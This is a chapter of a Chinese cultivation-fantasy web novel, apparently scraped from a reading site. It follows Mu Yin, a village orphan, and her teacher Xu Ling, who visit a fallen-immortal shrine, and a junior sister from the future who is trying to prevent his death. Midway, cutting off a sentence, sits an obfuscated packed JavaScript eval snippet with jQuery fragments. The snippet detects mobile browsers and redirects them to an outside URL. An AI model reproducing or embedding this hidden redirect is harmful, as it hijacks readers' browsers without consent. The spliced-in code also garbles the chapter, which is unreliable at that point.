22. 22

作品:《铁马冰河入梦来

    怀州东部,大仓山,林水边,巳时。


    一队丧仪吹拉弹唱,摇摇晃晃地从山林里走出来,直奔两里地外的小村落。村落多是土屋草棚,门前冷落,时不时传来几声幼犬的叫声。


    木音一剑劈开荆棘丛,两道符箓从袖中飞出,唤来风吹开一条路,露出赤贫的土地和蛛网密布的小屋。


    “师姐,这间房子也是空的。”


    环视四周,她瞥见旁边半人高的灶台半露在天里,屋顶破了个大洞,有两只鸟借地儿搭了个鸟窝,一窝小鸟睡在窝里。


    “我听那丧乐往这边来,再找找看,肯定有人家在办丧事。”玉清风说道。


    半个月前,木音顺利筑基出关,她们收拾整顿一番,便悄悄溜下山,从云中俯瞰,意外发现这个村落尚存一丝人气。此地颇为怪异,先前感知到的人气越发薄弱,却有源源不绝之势。


    “我们已经找了七家,这村落拢共才二十来户人家,怎么连个人影都看不到。”木音站在屋顶上远眺村外的丧仪队伍,“师姐,他们进村了,他们。”


    话未说完,一切戛然而止。


    玉清风仰头看见木音略微睁大的瞳孔,暗道不好,飞身跃到她身边,顺着她的视线看向村落边缘。那里哪有什么丧仪,连只鸟都看不见,只有连绵起伏的山峦和深如汪洋的绿海,近看,村落纷纷化为灰绿色的粉末,汇聚成一条粗壮的大江,向天空逆流而上。


    玉清风瞬间意识到此地绝不简单。


    没想到继师尊之后,竟然有人敢在这里设下陷阱!


    余光扫到木音笔直向后倒的身影,她反射性地想去捞人,脑袋钝痛,意识模糊不清。


    玉清风晕厥的瞬间,储物袋中有宝光闪烁,挣扎着想要跳出来。


    村落中凭空窜出一道道黑色的气息,越聚越浓,将两人团团围住。汹涌的鬼气一下子摁住宝光,隐隐要破坏储物袋的禁制,将其中的宝物毁去。


    就在这时,储物袋表面浮现一个繁复的花纹,枝繁叶茂的大树结下一个果子,果子成熟落地,一挨到树根便消失不见。凌厉的气息驱散鬼气,结成厚厚的屏障,将主人护起来,任凭鬼气啃食。


    从上往下看,一条瀑布顺着大仓山挺拔的身躯奔涌向前,两岸空阔,景色优美。


    村落和鬼气都凭空消失了。


    *


    木音总觉得自己忘记了什么,但眼下有更为重要的事情,还非常棘手——夫子要她将昨日学的内容复述一遍。


    夫子是外来的,唇红齿白,眉眼柔和,生得极好,一看就不是这山里长大的孩子。


    夫子人长得好看,心也好。昨天早上刚来,下午就收拾出一间空屋子,说是要办书舍,来者不拒,想听的都可以来。


    今日是第二次授课,课堂上明显多了几个女学生。唐记果子铺掌柜的幼女跟着大姐也来了,铁匠铺的虎妞绝对是瞒着她爹来的,还有街上卖糖人的老头的孙女也得了一块木桌,乖乖坐在角落里。


    大家都是奔着夫子的脸来的,木音也不例外。


    她只记得昨日散学后去林水边挖了几条又肥又壮的蚯蚓,和豆腐坊的小儿子一道去钓鱼,那家伙力气大,没耐心,鱼没钓几条,蚯蚓一个不剩,还得是她撸上袖子去浅水区抓上来几条肥的才满意离开,再然后,他们遇到和阿娘来水边浣衣裳的虎妞,便悄悄去山里捉萤火虫……


    木音扒空了脑子也只有鱼的肥、虫的美,哪还记得什么学堂呢。


    “说不出来?我明明让你们散学后回家和阿爹阿娘说说今日在课上学的,哪怕只有一点,算是复习了。”夫子的声音很温和,一点都没有责怪的意思。


    木音半点儿不害怕,耳朵敏锐地捕捉到周围人的窃笑声,更加理直气壮:“夫子,我没有阿爹阿娘。”


    夫子愣了一下,用带着一点疑惑的目光扫视旁边的人。


    果子铺的大女儿招娣性格机灵,略带羞涩地说道:“夫子,木音她没有说谎,她是个没爹没娘的野孩子。”


    不少孩子嘻嘻哈哈笑起来。


    虎妞一拳砸在木桌上,轰的一声让周围人目瞪口呆,张着嘴笑不出来。她喝道:“只要有我们居米巷,她就饿不死。”


    “切,她不就是小时候运气好,看你掉河里,把你拽上来了吗……”东南角落里,坐在小楠旁边的男孩小声嘀咕。他还想继续说,夫子的目光扫过来,严肃到吓人,他赶忙闭上嘴,不说了。


    夫子一句话没说,只是看了看两个要吵起来的孩子,就将一处闹剧扼杀在摇篮里,威严更是不必多说。


    木音自小在外流浪,自然明白这种人不是她能招惹的,正暗自窃喜,心想着明天不来了吧,一只手轻轻覆在她的头上。


    “以后每日散学,你可以把当天学的说给我听。”夫子说道。


    木音:……


    她极不情愿地应和下来。


    这一节课,夫子讲的是几个大家族的故事。在这个小村落,这座和林水密不可分的大仓山之外,还有大片大片的土地,先辈们将其划分为州,人皇建立王朝,修仙者建立推崇血统的世家和注重资质的宗门。


    夫子问有几个州,几个世家时,木音总有个模糊的印象,就像曾经有人在她耳边念叨过;夫子教他们习字的时候,木音也总能快速学会,将笔画繁杂的字写得方方正正。


    时间越晚,小孩越坐不住,跟屁股上长了痔疮似的,好不容易挨到散学,坐在前排的木音像阅兵的将军,一一接受其他小屁孩难以置信的目光。


    等人都走光,她留到最后一个,拿着木板和沾水的鹅毛走到夫子面前,准备边复述今天学的内容边写字。


    “以前有人来村里教你们读书识字吗?”夫子笑吟吟问道。


    木音摇摇头:“谁愿意来这犄角……里?”说话时,她脑中似乎有根绷紧的弦,乍然松了,嗡鸣声震耳欲聋。


    夫子面容如玉,似乎全然没有听到那个怪异的声音。


    “犄角旮旯。”他纠正道。


    木音跟着说了两遍,准备复述今日学的内容。早点说完,她才能早点散学。夏天天黑得慢,她去山里捉几只蝉来,傍晚和虎妞一起找个地方搭火烤了吃。


    就在这时,书舍的门帘被人一把撩起来,一个身影直接冲进洒满夕阳的教室。


    “师兄,你看我找到了什么!”用红色绸带扎个马尾的女子肩扛比她胳膊长的山猪腿,一路带血的走到两人跟前。


    木音睁大眼睛,盯着来人的面容仔细瞧。


    这漂亮姐姐长得真眼熟啊。但她很清楚,这姐姐和夫子一样,不是山里养得出来的人。说是眼熟,最多就是眉眼和哪家姐姐妹妹相似罢了。


    “师妹,你的血洒到这孩子脸上了。”


    夫子脾气好极了,完全没有提起被血浸泡的木板和满屋子腥味儿,随手摸去木音鼻子上的血。


    那女子“咦”了一声,揶揄道:“师兄,这不是那个上课调皮捣蛋,从来不爱听你说话的孩子吗?怎么?你今天终于舍得把她留下来训话了?”


    “师妹。”


    夫子的脸色一下子冷了下来:“这孩子资质聪慧,记忆力极好,上节课是她第一次上课,不熟悉课堂。这节课,她不仅认真听课,字也写得不错,哪有师妹你说的那样,快道歉!”


    木音一听夫子这么贵气的人将她大夸特夸,不自觉笑着抬头挺胸,迎接新一波夸奖。


    是的,她,木音,就是这么厉害!


    漂亮师妹怔在原地,过了会儿才反应过来:“师兄,这是你第二次上课啊,你瞧我一进山看到四阶烈风兽就给忘了……嗯?不对,这孩子,聪明?”


    木音顿时不开心了。


    说来说去,不就是看不上她呗,明明是第一次见面,活像她跟这位眼高于顶的恶毒师妹认识很久似的。


    没错,她木音也是个小心眼的人。


    她不仅在心里蛐蛐这位师妹,还要当面怼她:“没错,夫子说我可聪明了,你看我写的字。”


    说完,木音捏着鹅毛戳进夫子的茶盏,就着茶水快速写出一个“明”字。


    夫子扶额苦笑。竟然拿他的茶水作墨水,是在怪他刚刚没有替自己辩解吗?不过,有一说一,这个“明”字写得方方正正,一笔一画自有规律,确实不错。


    他挥手覆一道冰诀,将逐渐消失的字留在木板上。


    木音瞪大眼睛盯着那层薄冰。没想到,夫子和这位师妹竟然是仙人。仙人怎么会来他们这种地方?


    没想到,师妹的反应比木音还大。


    只见她一把拉住夫子的胳膊,另一只手捏住木板,从肩膀上掉下来的大猪腿将地板砸出一个深坑,将木音吓了一跳。


    “师兄,这不对。这孩子不可能会聪明。”


    似乎意识到自己的话里有不妥之处,她连忙改口道:“你看,这字,这字像她写的吗?”


    “师妹未曾旁听今日的课,也没见她整节课都在笔耕不辍地临摹,怎么断定这字就不是这孩子写的。天道酬勤,这孩子当然写得出这字。”夫子一字一句说道,眼中满是不解。


    师妹眼中也满是困惑,听到最后一句,更是多了几分讽刺:“天道酬勤?”


    她伸手去揪木音的领子,刚伸到头上就被另一只手按住。夫子说道:“师妹,这里血气太重,你先去处理那只烈风兽,我和这孩子说几句就来帮你。”


    “师兄……”师妹仍旧不甘心,但见师兄态度坚决,也意识到自己今日过于反常,提起猪腿退到院里。


    夫子抬起袖子,一张长长的、有四个角的薄纸轻飘飘飞出来,灵光一闪,屋内瞬间恢复原样,被砸出深坑的木板整整齐齐码在地上,一丝血迹也没有。


    “吓到了?”夫子和颜悦色问道,随手招来一张椅子坐下。


    这点程度跟小楠警告她不许偷她爷爷卖糖人掉在地上的糖差不多,连恐吓都算不上。木音可是货真价实的山里的野孩子,哪会害怕?更何况,夫子也是仙人,一看就是个讲理的人,绝不会让那个刁蛮的师妹胡作非为。


    “夫子是仙人吗?”她问道。


    夫子问她:“我和师妹是修仙者,不是你们祠堂庙宇里供奉的仙人。你知道仙人是什么吗?”


    “铁匠铺的叔说仙人是保护我们村子的人,但我知道,山里面有个废弃的庙,庙里供奉的是堕仙。年初被沉河的宋寡妇就是因为被人看到去山上祭拜堕仙,那人告了秘,她才死的。”这些详细又陌生的事从脑子里涌现出来,再经过木音的嘴巴说出来,感觉很奇妙,就像有另一个人在帮自己一样。


    但这里只有她和夫子两人,夕阳照进走廊,地上只有他们两个人的影子。


    “堕仙?”


    夫子放下茶盏,起身扶着她的肩膀看向走廊外的山峦。


    “你知道那座庙具体的位置吗?”


    木音摇摇头不说话。


    夫子沉默一会儿,说起另一件事:“那位故去的宋寡妇待你如何?人死如灯灭,一切恩怨都会散去,你实话实说,若有不能外传的事,我替你保密。”


    木音知道夫子是个好人,绝不会滥用好心在村里开书舍,教导小孩。如果他的目的只是那个宋寡妇,那可太好了。宋寡妇死得痛快,夫子了解清楚自然会离开,她就用不着天天留下来复述课上的内容。


    想通这一层,木音便将年前的事一五一十说了。


    每说到一个地方,她脑子里就会浮现当时的场景,真真假假难以判别。连她自己也不清楚自己怎么能记住这么多,明明她以前只是个不聪明的孩子。


    在她的描述中,一切始于一头猪。


    宋寡妇是个顶好的人,冬天吃的少,她偶尔会给无家可归的木音一口饭;宋寡妇力气大,和村里的男人不相上下,有什么脏活儿累活儿都自己干,不求人,因此没怎么和别人家的媳妇闹别扭。过年前,村里抽签杀猪,正好抽到宋寡妇。


    她一共养了十只鸡,一头猪。


    初冬时,她娘生了一场病,她前前后后杀了六只鸡也没把人留住,眼下那点家底儿过冬都难,杀猪?那是万万不肯杀的。


    不知道用了什么办法,猪还是没了。


    那天晚上,大家晚饭里多少有点荤腥,夜里也睡得香。铁匠铺的阿叔给了木音一碗米糠和两块肉,她端着碗走到山脚,正好看到宋寡妇挎着篮子往山上走。她匆匆忙忙回到村里找个地方躲起来就当没看见,可不知怎么回事,没过多久,东边杨家的小孙子人没了。一伙人吃饱了饭,瞌睡虫吓醒了,拿起家伙什到处找人,正好逮住从山上祭祀回来的宋寡妇,翻出她篮子刚祭祀完的生猪肉和被放血的黄鳝。


    “就因为她在山上祭祀?她刚没了娘亲,就没人觉得她是去给娘亲祭祀吗?”夫子皱紧眉头问道。在他看来,这理由太过于儿戏。


    “当时人太多了。村里几个老人说山上有堕仙庙,以前掌管林水,因为吃太多小孩被罚为堕仙。杨家那个孩子一定是淹死了。”说到这,木音顿了一下,“杨森的确是被淹死的。那几个老人说完,铁匠铺的阿叔就组织人手就河里捞人,真捞上来了。”


    空气陷入长久的沉默。


    木音的脑子一阵一阵的疼,她想不起来那晚在林水边具体发生了什么,只依稀记得宋寡妇沉河前用力抓住荆棘笼嘶声吼叫的样子。河水浸湿了她的衣裳,荆棘刺穿了她的手指,血混进夜色里,一片混沌。


    “你去过堕仙庙,对吗?”夫子问她,语气中有几分肯定。


    木音反问夫子另一件事:“您这样厉害的仙人,来这里,是为了给宋寡妇讨公道的吗?”


    夫子摸了摸她的头,沉默了一会儿,点点头。


    讨公道?根本不是。他只是到了筑基下山历练的时候,随便找个地方呆一会儿,探听到邪祟的消息再做打算,真没想到一脚就踩中。


    凡间果真如师尊所说,饱受鬼修的侵害。堕仙庙?装神弄鬼的把戏而已。


    “我们现在就走吧,等天黑了,山上的路难走,我怕走岔路,会绕很久。”木音先一步上前,撩开门帘,示意夫子快走。


    她可没忘了院子里还有个刁蛮的师妹。


    夫子哑然失笑,


    庭院里,几个木傀儡正在给烈风兽剥皮抽筋,师妹不知从哪儿寻来一根狗尾巴草,叼在嘴角,翘着二郎腿坐在水井边。


    夫子唤了一声,她立马吐掉狗尾巴草,三两步窜过来。


    “我要和这孩子上山一趟,今夜要麻烦师妹守在书舍。”夫子边说边将木音从身侧推出来。


    木音万般不情愿地和这位师妹对视一眼。


    “不如把我也带上,此地三面临山,一面傍水,昨日我检查过,附近没有邪修的踪迹。我独自一人守在书舍实在无聊。”


    “既然师妹检查过,想必山上也是安全的。我答应这孩子对此事保密,还请师妹成人之美。”夫子丝毫不退让,和和气气通知完,带着木易直接上山。


    山脚下,宋子兰望着渐渐西沉的太阳和巍峨的山峰,心慢慢沉下去。


    不对劲,太不对劲了。无论重来多少次,师兄都没有选择在第二天上山。他上山干什么?此时山里的那个鬼东西应该还没苏醒,师兄无从得知那东西的消息才对。


    *


    木音完全不记得自己走过这么难走的山路,细窄的道路都是村里人一脚一脚踏出来的,两边全是往里伸的荆棘丛,真想一剑劈了它们。


    她没有剑,夫子有。


    剑光闪烁,将周围冒出来的枝干干脆利落地劈干净。


    “我们还要走多久?”越往里走,树木越茂盛,夕阳一丝儿也漏不进来,脚下一片漆黑,夫子唤出一张薄纸,烧纸成光,照亮前路。


    树林里是一片破败的景象,还有腐朽的气味。


    木音没有回话,一直走。她的脑子完全不认识这条路,但她的身体知道方向。


    大约继续走了十分钟,一路拐来拐去,上坡下坡,终于来到一片平地。不远处的山崖上有几块巨大的石头,几根木头彼此支撑,共同撑起石头作为房顶,下面就是破败的堕仙庙。站在远处往里看,还能看到一个小小的人像,左右有两个牌匾,下面供奉着三盘供品。


    “前面那个就是堕仙庙。”木音领完路就站在上坡的口子上,坚决不往前踏一步。


    在她的印象里,这个庙怪异得很,稍微挨着点儿都能倒霉很久。她孤身一人,小灾小病就能要了她的命,可沾不起半点霉运。


    “夫子。”她喊住夫子,顿了一下,说道:“夫子,小心。”


    不知夫子的神通和这堕仙庙比,谁更胜一筹。


    许陵扔出两道符箓,一风一火,直奔庙内。符箓刚过门就炸开,风卷着火势,将最近的两扇门烧成灰烬;火光照亮室内的陈设,中间的小雕塑约六寸高,通体漆黑,鬼气冲天,另外两侧墙壁上则分别站着两座神像,上面的蜡早已脱落,色块斑驳,暗淡无光。


    “原来是个鸠占鹊巢的小鬼。”许陵轻笑一声,握紧剑柄,一剑劈向庙内那座小像。


    就在这时,一只尾羽缀冰的箭矢带着寒气射中他的剑尖,硬生生将剑劈歪了方向。许陵又惊又怒。他知道这不是那小孩的箭,而是师妹的弩箭。


    师妹竟然早就知道这里的异样!


    宋子兰知道这其中的误会大了,赶忙跳下来,将弩箭收进储物袋:“师兄,你听我说。”


    “师妹,我记得来时你说过,此地安全,没有鬼修的踪迹。”许陵压住火气,冷笑道:“那这是怎么回事?这座堕仙庙师妹是何时发现的,为何留着它?”


    “师兄,我们会除了鬼修,但现在还不是时候。”宋子兰拽住师兄的手,生怕他一剑劈了这庙。


    庙里那鬼修不要紧,若是鬼修提前死了,师兄也会魂飞魄散,再无来日。


    这才是她最担心的地方。


    “所以,师妹是故意留着这堕仙庙?”许陵气笑了,“你忘了夫子说过这堕仙庙的来处吗?你竟然留着它!”


    “堕仙庙是凡人以怨恨之心祭祀冤死之人,自愿献祭生命和机缘的庙宇,若堕仙庙中有鬼修,必有鬼宝,非元婴之力不可除。”耳边冷不丁响起熟悉的嗓音,熟悉的话,正在争执的两人双双愣住。


    木音也不知道自己怎么了,脑中突然出现一个青年人,眼前有一层薄灰,那人隔着薄灰站在前方的讲台上侃侃而谈,下面有一片乌压压的人头。她说的就是那人说的。


    宋子兰勃然色变,大步走过去,边走边取出弩箭:“我就知道你有问题,是你,你故意引师兄过来!这么多遍,一边都没有出错,偏偏你来就变了。”


    弩箭闪着冷冷的光,将木音吓得一激灵,转身就跑。


    她两只腿哪跑得过箭矢,只听见破空的声音追上她的脚步,一点点攥紧她的心脏,她的心似乎不跳了。下一秒,“当”地一声,箭矢与剑刃相撞,摄人的风声骤停。


    “师妹,你看清楚,她是个普通人。”许陵大喝道。


    宋子兰没想到师兄会救她,仔细一想,救人才是师兄的风格,他原本就是这么好的人,是她宋子兰心甘情愿困在这里一辈子就搏一线生机也要救的人。


    “师兄,她不是人。”她说。


    木音怔在原地。“她不是人”是什么意思?她不是人是什么?她就是个再普通不过的人啊。


    许陵脸色刷的沉下去。即便心中再痛苦,此刻他手中的剑也纹丝不动:“师妹,她为何知道堕仙庙的事暂且不论,是不是人我还能不知道吗?你一门心思针对她,是想告诉我什么?”


    即便是这种时候,他依旧相信师妹,也相信自己的判断。


    宋子兰深吸一口气,一言不发,举起弩箭。


    见状,许陵也握紧长剑;木音见势不妙,躲进夫子身后。


    刚刚闪过的画面还在木音的脑海中回荡,她努力想回忆起这是何时何地的场景。那么多人,那么宽敞的房间,从方方正正的木窗里探进一捧枝繁叶茂的树枝,阳光顺着叶脉洒进来,他们也在上课吗,真美啊,在那里上课一定很开心……


    兵刃相接只在瞬间,木音的思路被乒乒乓乓的声音打断,只看到几个残影。


    渐渐地,她能看见那只箭拐弯的踪迹,也能捕捉到夫子手中的剑飞在空中自行阻挡敌人的动作。片刻间,世界在她的眼中越来越清晰。


    就在这时,夫子一剑挡下箭矢,箭簇一分为二;他干脆放弃长剑,站在箭矢的必经之路上,用身体挡住射向木音的箭;他抬起手,徒手接住箭,刹那间,箭矢再度分裂,另一只小箭拐个弯,带着另外两支箭剩余的力量径直扎进木音的胸口,血光飞溅。


    宋子兰也吐出一口血。


    “师妹!”许陵瞪大眼睛,难以相信师妹想杀木音的决心和突然暴涨的实力。


    箭矢一分为三至少是结丹期才能炼成的,师妹下山前刚刚筑基,怎么可能进步这么快!而且,她为何不惜耗费大量灵力也要杀了一个普通的孤儿?简直匪夷所思。


    无人注意的角落,木音胸口的血汩汩涌出,一丝丝白光顺着鲜红的血流往外流淌。


    天地开始崩塌,四周的空间摇摇欲坠。


    宋子兰无暇管那个半死不活的小孩,连拖带拽要将许陵带到山下。


    “师妹,等一下。”许陵没忘记和自己一起来的木音,好不容易挣脱师妹的束缚,大步冲向木音躺下的位置。还没走出几步,师妹拉住他的领口,直接将他推下陡坡。


    “师兄,快去山下。只要你回去,一切都能回到正轨,她不会死的。”


    许陵被这番话搞蒙了,更加确信师妹此次下山坚决要跟着自己是另有目的,说不定,这一切都在她的设计中。


    刹那间,空间撕裂,一道剑光劈开。


    玉清风从裂缝中走出来,久违地见到两个活人,连忙问道:“你们有见过一个和我差不多大的女孩儿吗?这么高,缠着杏色的长裙。”她比划了一个和她眉毛差不多的高度。


    那两人纷纷摇头,目光中满是好奇和警惕,似乎也想问什么。


    玉清风目光向下一扫,瞥见男子手边的剑,剑上刻着两个字,“长安”,她微微愣住。记忆中,她曾听裴罄然说过宗门内有把被拦腰斩断的剑,剑身由


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155794|163616||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一位元婴期的化形大妖蕴养,以一身修为维持剑灵不散,这在修仙界也算是百年难见的奇谈。


    “你是许陵师兄?”


    许陵仔细盯着那陌生的女子瞧了个遍,愣是没认出来是哪个峰上的师妹:“你是哪位师叔的弟子?”


    “家师绮珊道人。”


    “玉师妹!”


    “绮珊师叔何时收徒了?”


    许陵后知后觉,看向从始至终都不对劲的子兰师妹:“师妹,你怎么知道绮珊师叔收徒了?我们下山的时候,绮珊师叔在外游历多年未归,这些日子,我们一起行动,我与师尊时常联系,不可能不知道。”


    宋子兰脸色煞白,嗫嚅着说不出话。


    她离开时,玉师妹尚且年幼,如今一见,师妹已经长大,外界过去多少年,她还剩几次机会?


    玉清风看两人的反应,确认都是同门:“你是许陵师兄?”


    “正是。”


    许陵跳上来,一眼瞧见躺在不远处的木音,从储物袋中找出两瓶伤药,快步跑过去救人。


    他边跑边问:“绮珊师叔收徒并非眼下就会发生的事,师妹从未来的时空来到这里,是否清楚这里的情况?”


    玉清风将昏迷前的情况简单概述:“我和师妹误入一处破败的村落,村中只有丝丝缕缕的人气,却不见人影,有丧仪吹打乐器从山上下来,却不进村,只看到这些,我就失去意识,醒来时,师妹和我分开了。”


    “绮珊师叔竟然有两个徒弟!”许陵一边喂药一边在心中感叹。


    他仍记得第一次和师尊去拜见绮珊师叔,只是在堂下瞻仰一幅画像。掌门说师叔生性自由,不喜欢束缚在门内。画中的女子眉目疏扩,英气十足,确实不像是甘愿受困一地的人。掌门代师叔转交赠礼,一块拳头大的庚精。有庚精相助,长安剑方才有了剑灵,威力大增。


    那样的人竟也有欣赏的徒弟,还有愿意传道的心,想来是很久以后的事情。


    绮珊师叔愿意收两个徒弟,掌门肯定很高兴,门内定然会热闹两次,不知道那时他是否在门内,有没有机会陪师尊喝一杯?


    “不知另一位师妹叫什么?等我们从此地出去,或许能帮你找到她。”宋子兰赔笑道。


    玉清风一眼看出她的口不应心,不搭理她,转身跟到许陵身边,去和许陵说话:“这小孩儿是谁?师兄你的药只能止血,她伤得极重,或许已经救不回来了。”


    “她是我带来的,我一定要把她带回去。师妹,你可有办法?”许陵急切地问道。


    “没有。”玉清风拔剑出鞘,剑指山石下破落的屋子,门框被烧得焦黑,一道黑影从其中走出来,粘液弥散在地上,如同蛛网,恶心的味道一点点冲击众人的大脑。


    “师兄,那是什么?”


    “堕仙庙。”许陵要紧了牙关,争分夺秒试各种伤药。没用,这个也没用!他带来的药都试光了!


    就在他心烦意乱时,玉清风一剑挡住那鬼影甩来的黑色泥块,泥块炸开,露出红色的雷霆,顺着剑尖流窜到地上,四处飞溅,其中一簇眼看着就快要落到木音的脸上,许陵连忙画出一道血符去挡,却被红色雷霆撕成粉碎。


    下一秒,那红色雷霆如同被双亲拎回家的顽童,任由从木音胸口中流出来的白光将其裹住、吸收。木音的伤口在愈合。


    “师兄,她是怪物!”宋子兰狰狞地笑道。


    玉清风不清楚这三人之间的关系,本着安全第一的原则,也开口劝一句:“师兄,这个孩子的身体太诡异,早点出去为妙。”她知道许陵师兄死在怀州,说不定那座诡异村落就是师兄的埋骨之地,那孩子就是杀死师兄的人。如此凶恶之事,她还是少沾惹为妙。


    罕见的,两位师妹持统一意见。


    许陵下不了手:“玉师妹,这孩子是山下那个村落的孤儿,或许她的身世另有蹊跷,但此行我可以保证她并没有异心,是我骗她能帮她,帮山下一个曾对她施以援手的宋寡妇沉冤昭雪,她才来的。”


    闻言,玉清风转过脸去,专心致志挡住袭来的黑泥块,不再关注这个孩子的生死。


    反正,许陵都是会死,被良善拖累而死最难挽救。尊重他人命运,享受自由人生,木音之前经常在她耳边念叨,如今她人不在,这句话倒是念念不忘。


    “师兄,你看玉师妹,她也认为这孩子该死。玉师妹是绮珊师叔的弟子,她说的,你得信吧?”宋子兰一剑射穿从旁边袭来的黑泥块,直奔许陵身边。急切地劝说着。


    她那一箭将红色雷霆炸得到处都是,有几簇险些溅到玉清风身上,玉清风白了她一眼,不多言语。当务之急是找到木音,再脱离这一方天地,尽早离开为妙,两个命数已定的人不需要她费神。


    “师妹,木音是我带来的,我自当带她回去。怎么能放任不管!”许陵已经打定主意,旁人的三言两语影响不了他。


    宋子兰还想说什么,锋利的白刃顶在她的脖子上。


    顺着长长的剑刃往上看,是玉清风冷静肃然的脸和背后一片威风凌凌的剑阵。宋子兰愕然道出那个剑阵的名字:“玉虚剑阵!”


    玉虚剑阵是玉虚剑诀中的招数,她曾见掌门用过一次,这世上只有和掌门师出同门的绮珊师叔能用此阵,也只有绮珊师叔会将剑意和剑阵凝入符箓中,交给筑基期弟子携带防身。


    “你刚刚说,她是谁?”玉清风问道。


    “木音。”许陵心里一咯噔。


    怕不是玉师妹要找的人就是木音吧?


    话音刚落,剑阵收拢,无数黑泥块被打碎,红色的雷霆被剑阵接力踹向木音的方向,宋子兰躲避不及,身上多了好几处擦伤。


    那道黑影被剑阵击溃,化作数道洪流逃进庙内。


    玉清风将伤势好转、呼吸稳定的木音抱起来,架着她的胳膊走向那道裂缝。


    她刚刚匆匆扫过一眼,真没认出这是木音小时候的样子,和当年大殿上隔着水幕看的样子有些许差别,最重要的是,这孩子比木音胖不少。当年,木音瘦得皮包骨,风一吹就倒,这孩子养得挺壮实,怪沉的。


    “师妹。”许陵喊住她。


    “求师妹再出一道绮珊师叔的剑阵符,帮一帮山下那些村民吧。这些村民被困在深山,若堕仙庙不除,任由鬼修掠夺人气,养出鬼宝,山下便是生灵涂炭,灾祸不知道会绵延几千里。”


    玉清风脚步不停,一直向前,突然,她的左脚被人从后面拽住,只听许陵惊呼一声,她不得不收起脚上的力道。


    “玉师妹,算我师兄妹二人求你,请你出手抹去堕仙庙。”


    玉清风瞥见宋子兰松开自己的腿,两只手拽着木音,想将她夺回去,当即冷笑道:“宋师姐,你想对我师妹做什么?”


    “她不是你的师妹。”


    宋子兰两眼通红,心痛到流不出眼泪,她一字一句道:“当年,我将木音带回宗门,她比现在还大一些,你要是带走她,就是扰乱历史的轨迹,你有绮珊师叔庇护,或许没事,但她作为当年的亲历者,必然会受到反噬。”


    “师妹,你也是……不可能,下山之后我们一路同行,你是什么时候换过来的?我的师妹呢?”许陵又急又气,握紧了剑柄,连一句重话都舍不得说。


    他怎么可能看不出师妹的异常都是为了他?


    “许师兄,我曾在门内听说有把长安剑被人拦腰斩断,蕴养于一个化形大妖体内。”


    玉清风的话还没说完,便被宋子兰宛若泼妇的呼号声喝断:“别说了!别说了!师兄,师兄你别听她瞎说,我已经研究出方法,我一定能找到带你回去的办法,只要魂魄尚存,便可以夺舍,还可以回到人间。”


    “夺舍?”


    玉清风冷笑道:“你要你的许师兄去夺舍别人,断别人的生机为己所用,他那么好的一个人,品行端正,一生清白没有污点,他会如你所愿吗?宋子兰,我听说当年你们被困在一处鬼阵内,要我再说说你们是怎么破阵的吗?”


    许陵望着几近崩溃的宋师妹和冷眼旁观的玉师妹,真相已经猜得七七八八,不由得在心里叹口气:“还请玉师妹解惑。”


    “师兄,还有机会,我这些年一直在研究还魂之法,如今来见你便是有此法相助,你相信我,我一定能带你回去的。”宋子兰通红的眼睛里慢慢流出丝丝泪水,她摸了把脸,有些诧异。她还以为自己的眼泪早已流干,若非修为提升带来的驻颜之效,她恐怕早就成为一个白发苍苍的老人了。


    一听还有还魂之法从中作梗,玉清风更走不得了。她将木音放在一株树下,布置法阵护住她,然后走到那两人中间,将曾经听闻的事情一一说出。


    “许师兄,我并非当年之事的亲历者,或许传闻有假,不过,你可以请这位师姐帮忙补充一二。”


    “师妹但说无妨。”许陵苦笑道。


    长安剑断了,师尊以身养剑,“当年之事”近在眼前,恐怕无比惨烈,让人无比痛苦。


    “当年,怀州大地一夜间出现九个连环大阵,专门吸收人气,都是鬼修布置的。元婴修士虽神通广大,奈何对阵法一道并不精通,纵使来了化神修士,也只能延缓大阵运行的速度,护住凡人。但听闻怀州有一角落也出现大阵,此阵一破,九阵俱陨。而击破此阵的,除了当地所有百姓,还有一名筑基期修士,名叫许陵,佩一把长安剑,着青衣。”


    玉清风看向失魂落魄的宋子兰:“其中细节,恐怕要问宋师姐了。”


    许陵没有急着追问,而是扶起宋子兰,抱了抱她:“师妹,辛苦了。若我以身殉阵,换来数万名生灵活着,又有何妨?接下来,你和玉师妹一道离开,乖乖回去,好吗?”


    “不行!师兄,你本可以活着回去,你可以不用死啊!”宋子兰大叫道。


    许陵想拉她都拉不住,只能由着她用沙哑的声音继续说:“那个大阵只要一百六十人献祭,一百六!那个村子里死了两个,正好还剩一百六!我们明明说好用他们破阵。他们本就该死,他们死不足惜!可是,是木音这个诡计多端的骗子骗了你,什么口齿笨拙、手笨脚笨,她分明机灵极了,抓着机会就往上爬,得了机会进斑斓谷,还想法子成为绮珊师叔的弟子,就她,就她?就是她啊,明明大阵就要启动了,你却将她推出去,你留在阵中。”


    突然,剑光一凛。


    玉清风手持长剑,横在宋子兰的脖子上,警告她:“该说的不该说的,你自己掂量。”


    宋子兰咧嘴笑起来,挑衅意味十足。


    就在这时,剑刃上多出两道鲜亮的红色,汩汩流淌。许陵用手握住剑刃,剑刃已有剑灵,自然不愿意受制于人,不断震颤,将他的手割开,伤口越来越深。


    “师兄,你快松手,松手吧。”宋子兰心疼极了。


    “请你,收剑吧。”


    许陵看向玉清风,认真地说:“玉师妹,可惜我没有机会和你相识,但请你信我一次,我愿意以性命发誓,我并不想逆天改命,不会伤害木音,木师妹,我只求一个真相。”


    随后,他对宋子兰苦笑道:“师妹,人死如灯灭,不要再执着了。”